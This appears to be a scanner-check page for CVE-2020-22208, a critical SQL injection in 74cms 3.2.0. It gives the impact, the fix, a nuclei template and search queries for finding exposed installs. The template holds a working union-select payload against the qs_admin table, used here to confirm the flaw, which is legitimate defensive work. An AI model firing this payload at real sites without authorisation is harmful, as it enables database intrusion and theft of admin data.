74cms - ajax_street.php 'x' SQL Injection

criticalseverity

9.8CVSS score

10.1%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

SQL Injection in 74cms 3.2.0 via the x parameter to plus/ajax_street.php.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the underlying database.

Fix

Apply the vendor-provided patch or update to the latest version of 74cms to mitigate the SQL Injection vulnerability.

How to confirm it

Send: GET {{BaseURL}}/plus/ajax_street.php?act=alphabet&x=11�%27%20union%20select%201,2,3,concat(0x3C2F613E20),5,6,7,md5({{num}}),9%20from%20qs_admin%23
Positive when: contains "{{md5({{num}})}}"

Run it with nuclei: nuclei -id CVE-2020-22208 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-22208

info:
  name: 74cms - ajax_street.php 'x' SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    SQL Injection in 74cms 3.2.0 via the x parameter to plus/ajax_street.php.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the underlying database.
  remediation: |
    Apply the vendor-provided patch or update to the latest version of 74cms to mitigate the SQL Injection vulnerability.
  reference:
    - https://github.com/blindkey/cve_like/issues/10
    - https://nvd.nist.gov/vuln/detail/CVE-2020-22208
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-22208
    cwe-id: CWE-89
    epss-score: 0.10098
    epss-percentile: 0.95676
    cpe: cpe:2.3:a:74cms:74cms:3.2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: 74cms
    product: 74cms
    shodan-query: http.html:"74cms"
    fofa-query:
      - app="74cms"
      - body="74cms"
  tags: cve2020,cve,74cms,sqli,vkev,vuln
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - '{{BaseURL}}/plus/ajax_street.php?act=alphabet&x=11�%27%20union%20select%201,2,3,concat(0x3C2F613E20),5,6,7,md5({{num}}),9%20from%20qs_admin%23'

    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'

References

Use this check only on systems you are authorised to test. Where the data comes from